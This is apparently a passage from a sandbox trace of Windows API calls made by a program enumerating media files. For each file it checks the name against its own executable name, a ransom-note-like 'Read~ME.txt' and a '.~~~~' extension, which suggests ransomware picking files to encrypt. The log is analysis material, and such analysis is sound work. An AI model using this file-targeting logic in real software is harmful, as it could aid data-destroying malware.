	[0080.497] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.497] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.497] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.498] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.498] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.498] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.498] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.498] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.498] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.498] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1
	[0080.498] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="Windows") returned -1
	[0080.498] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="oiikyy.exe") returned -1
	[0080.498] StrStrW (lpFirst="16_9-frame-background.png", lpSrch=".~~~~") returned 0x0
	[0080.498] lstrcmpW (lpString1="16_9-frame-background.png", lpString2="Read~ME.txt") returned -1
	[0080.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.498] GetCurrentThreadId () returned 0x618
	[0080.498] RtlWakeConditionVariable () returned 0x365f48
	[0080.498] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1
	[0080.498] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="Windows") returned -1
	[0080.498] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="oiikyy.exe") returned -1
	[0080.498] StrStrW (lpFirst="16_9-frame-highlight.png", lpSrch=".~~~~") returned 0x0
	[0080.498] lstrcmpW (lpString1="16_9-frame-highlight.png", lpString2="Read~ME.txt") returned -1
	[0080.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.499] GetCurrentThreadId () returned 0x618
	[0080.499] RtlWakeConditionVariable () returned 0x365f48
	[0080.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1
	[0080.499] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="Windows") returned -1
	[0080.499] lstrcmpW (lpString1="16_9-frame-image-mask.png", lpString2="oiikyy.exe") returned -1
	[0080.499] StrStrW (lpFirst="16_9-frame-image-mask.png", lpSrch=".~~~~") returned 0x0
	[0080.499] lstrcmpW (lpString1="16_9-frame-image-mask.png", lpString2="Read~ME.txt") returned -1
	[0080.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.499] GetCurrentThreadId () returned 0x618
	[0080.499] RtlWakeConditionVariable () returned 0x365f48
	[0080.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1
	[0080.499] lstrcmpiW (lpString1="babypink.png", lpString2="Windows") returned -1
	[0080.499] lstrcmpW (lpString1="babypink.png", lpString2="oiikyy.exe") returned -1
	[0080.499] StrStrW (lpFirst="babypink.png", lpSrch=".~~~~") returned 0x0
	[0080.499] lstrcmpW (lpString1="babypink.png", lpString2="Read~ME.txt") returned -1
	[0080.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.499] GetCurrentThreadId () returned 0x618
	[0080.499] RtlWakeConditionVariable () returned 0x365f48
	[0080.499] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728a4ecf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0080.499] lstrcmpiW (lpString1="background.png", lpString2="Windows") returned -1
	[0080.499] lstrcmpW (lpString1="background.png", lpString2="oiikyy.exe") returned -1
	[0080.499] StrStrW (lpFirst="background.png", lpSrch=".~~~~") returned 0x0
	[0080.500] lstrcmpW (lpString1="background.png", lpString2="Read~ME.txt") returned -1
	[0080.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.500] GetCurrentThreadId () returned 0x618
	[0080.500] RtlWakeConditionVariable () returned 0x365f48
	[0080.500] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1
	[0080.500] lstrcmpiW (lpString1="bear_formatted_matte2.wmv", lpString2="Windows") returned -1
	[0080.500] lstrcmpW (lpString1="bear_formatted_matte2.wmv", lpString2="oiikyy.exe") returned -1
	[0080.500] StrStrW (lpFirst="bear_formatted_matte2.wmv", lpSrch=".~~~~") returned 0x0
	[0080.500] lstrcmpW (lpString1="bear_formatted_matte2.wmv", lpString2="Read~ME.txt") returned -1
	[0080.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.500] GetCurrentThreadId () returned 0x618
	[0080.500] RtlWakeConditionVariable () returned 0x365f48
	[0080.500] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.500] lstrcmpiW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="Windows") returned -1
	[0080.500] lstrcmpW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.500] StrStrW (lpFirst="Bear_Formatted_MATTE2_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.500] lstrcmpW (lpString1="Bear_Formatted_MATTE2_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.500] GetCurrentThreadId () returned 0x618
	[0080.500] RtlWakeConditionVariable () returned 0x365f48
	[0080.500] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1
	[0080.500] lstrcmpiW (lpString1="bear_formatted_rgb6.wmv", lpString2="Windows") returned -1
	[0080.500] lstrcmpW (lpString1="bear_formatted_rgb6.wmv", lpString2="oiikyy.exe") returned -1
	[0080.500] StrStrW (lpFirst="bear_formatted_rgb6.wmv", lpSrch=".~~~~") returned 0x0
	[0080.501] lstrcmpW (lpString1="bear_formatted_rgb6.wmv", lpString2="Read~ME.txt") returned -1
	[0080.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.501] GetCurrentThreadId () returned 0x618
	[0080.501] RtlWakeConditionVariable () returned 0x365f48
	[0080.501] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729635a0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729635a0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_RGB6_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.501] lstrcmpiW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="Windows") returned -1
	[0080.501] lstrcmpW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.501] StrStrW (lpFirst="Bear_Formatted_RGB6_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.501] lstrcmpW (lpString1="Bear_Formatted_RGB6_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.501] GetCurrentThreadId () returned 0x618
	[0080.501] RtlWakeConditionVariable () returned 0x365f48
	[0080.501] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1
	[0080.501] lstrcmpiW (lpString1="btn-back-static.png", lpString2="Windows") returned -1
	[0080.501] lstrcmpW (lpString1="btn-back-static.png", lpString2="oiikyy.exe") returned -1
	[0080.501] StrStrW (lpFirst="btn-back-static.png", lpSrch=".~~~~") returned 0x0
	[0080.501] lstrcmpW (lpString1="btn-back-static.png", lpString2="Read~ME.txt") returned -1
	[0080.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.501] GetCurrentThreadId () returned 0x618
	[0080.501] RtlWakeConditionVariable () returned 0x365f48
	[0080.501] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729af85a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729af85a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1
	[0080.501] lstrcmpiW (lpString1="btn-next-static.png", lpString2="Windows") returned -1
	[0080.502] lstrcmpW (lpString1="btn-next-static.png", lpString2="oiikyy.exe") returned -1
	[0080.502] StrStrW (lpFirst="btn-next-static.png", lpSrch=".~~~~") returned 0x0
	[0080.502] lstrcmpW (lpString1="btn-next-static.png", lpString2="Read~ME.txt") returned -1
	[0080.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.502] GetCurrentThreadId () returned 0x618
	[0080.502] RtlWakeConditionVariable () returned 0x365f48
	[0080.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a377d1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1
	[0080.502] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="Windows") returned -1
	[0080.502] lstrcmpW (lpString1="btn-previous-static.png", lpString2="oiikyy.exe") returned -1
	[0080.502] StrStrW (lpFirst="btn-previous-static.png", lpSrch=".~~~~") returned 0x0
	[0080.502] lstrcmpW (lpString1="btn-previous-static.png", lpString2="Read~ME.txt") returned -1
	[0080.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.502] GetCurrentThreadId () returned 0x618
	[0080.502] RtlWakeConditionVariable () returned 0x365f48
	[0080.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1
	[0080.502] lstrcmpiW (lpString1="button-highlight.png", lpString2="Windows") returned -1
	[0080.502] lstrcmpW (lpString1="button-highlight.png", lpString2="oiikyy.exe") returned -1
	[0080.502] StrStrW (lpFirst="button-highlight.png", lpSrch=".~~~~") returned 0x0
	[0080.502] lstrcmpW (lpString1="button-highlight.png", lpString2="Read~ME.txt") returned -1
	[0080.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.502] GetCurrentThreadId () returned 0x618
	[0080.502] RtlWakeConditionVariable () returned 0x365f48
	[0080.502] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1
	[0080.503] lstrcmpiW (lpString1="chapters-static.png", lpString2="Windows") returned -1
	[0080.503] lstrcmpW (lpString1="chapters-static.png", lpString2="oiikyy.exe") returned -1
	[0080.503] StrStrW (lpFirst="chapters-static.png", lpSrch=".~~~~") returned 0x0
	[0080.503] lstrcmpW (lpString1="chapters-static.png", lpString2="Read~ME.txt") returned -1
	[0080.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.503] GetCurrentThreadId () returned 0x618
	[0080.503] RtlWakeConditionVariable () returned 0x365f48
	[0080.503] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1
	[0080.503] lstrcmpiW (lpString1="content-background.png", lpString2="Windows") returned -1
	[0080.503] lstrcmpW (lpString1="content-background.png", lpString2="oiikyy.exe") returned -1
	[0080.503] StrStrW (lpFirst="content-background.png", lpSrch=".~~~~") returned 0x0
	[0080.503] lstrcmpW (lpString1="content-background.png", lpString2="Read~ME.txt") returned -1
	[0080.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.503] GetCurrentThreadId () returned 0x618
	[0080.503] RtlWakeConditionVariable () returned 0x365f48
	[0080.503] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1
	[0080.503] lstrcmpiW (lpString1="content-foreground.png", lpString2="Windows") returned -1
	[0080.503] lstrcmpW (lpString1="content-foreground.png", lpString2="oiikyy.exe") returned -1
	[0080.503] StrStrW (lpFirst="content-foreground.png", lpSrch=".~~~~") returned 0x0
	[0080.503] lstrcmpW (lpString1="content-foreground.png", lpString2="Read~ME.txt") returned -1
	[0080.503] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.503] GetCurrentThreadId () returned 0x618
	[0080.504] RtlWakeConditionVariable () returned 0x365f48
	[0080.504] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1
	[0080.504] lstrcmpiW (lpString1="curtains.png", lpString2="Windows") returned -1
	[0080.504] lstrcmpW (lpString1="curtains.png", lpString2="oiikyy.exe") returned -1
	[0080.504] StrStrW (lpFirst="curtains.png", lpSrch=".~~~~") returned 0x0
	[0080.504] lstrcmpW (lpString1="curtains.png", lpString2="Read~ME.txt") returned -1
	[0080.504] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb960
	[0080.504] GetCurrentThreadId () returned 0x618
	[0080.504] RtlWakeConditionVariable () returned 0x365f48
	[0080.504] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1
	[0080.504] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="Windows") returned -1
	[0080.504] lstrcmpW (lpString1="flower_precomp_matte.wmv", lpString2="oiikyy.exe") returned -1
	[0080.504] StrStrW (lpFirst="flower_precomp_matte.wmv", lpSrch=".~~~~") returned 0x0
	[0080.505] lstrcmpW (lpString1="flower_precomp_matte.wmv", lpString2="Read~ME.txt") returned -1
	[0080.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.505] GetCurrentThreadId () returned 0x618
	[0080.505] RtlWakeConditionVariable () returned 0x365f48
	[0080.505] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.505] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="Windows") returned -1
	[0080.505] lstrcmpW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.505] StrStrW (lpFirst="flower_PreComp_MATTE_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.505] lstrcmpW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.505] GetCurrentThreadId () returned 0x618
	[0080.505] RtlWakeConditionVariable () returned 0x365f48
	[0080.505] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1
	[0080.505] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="Windows") returned -1
	[0080.505] lstrcmpW (lpString1="flower_trans_matte.wmv", lpString2="oiikyy.exe") returned -1
	[0080.505] StrStrW (lpFirst="flower_trans_matte.wmv", lpSrch=".~~~~") returned 0x0
	[0080.505] lstrcmpW (lpString1="flower_trans_matte.wmv", lpString2="Read~ME.txt") returned -1
	[0080.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.505] GetCurrentThreadId () returned 0x618
	[0080.506] RtlWakeConditionVariable () returned 0x365f48
	[0080.506] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1
	[0080.506] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="Windows") returned -1
	[0080.506] lstrcmpW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="oiikyy.exe") returned -1
	[0080.506] StrStrW (lpFirst="flower_trans_MATTE_PAL.wmv", lpSrch=".~~~~") returned 0x0
	[0080.506] lstrcmpW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="Read~ME.txt") returned -1
	[0080.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.506] GetCurrentThreadId () returned 0x618
	[0080.506] RtlWakeConditionVariable () returned 0x365f48
	[0080.506] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1
	[0080.506] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="Windows") returned -1
	[0080.506] lstrcmpW (lpString1="flower_trans_rgb.wmv", lpString2="oiikyy.exe") returned -1
	[0080.506] StrStrW (lpFirst="flower_trans_rgb.wmv", lpSrch=".~~~~") returned 0x0
	[0080.506] lstrcmpW (lpString1="flower_trans_rgb.wmv", lpString2="Read~ME.txt") returned -1
	[0080.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.506] GetCurrentThreadId () returned 0x618
	[0080.506] RtlWakeConditionVariable () returned 0x365f48
	[0080.506] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1
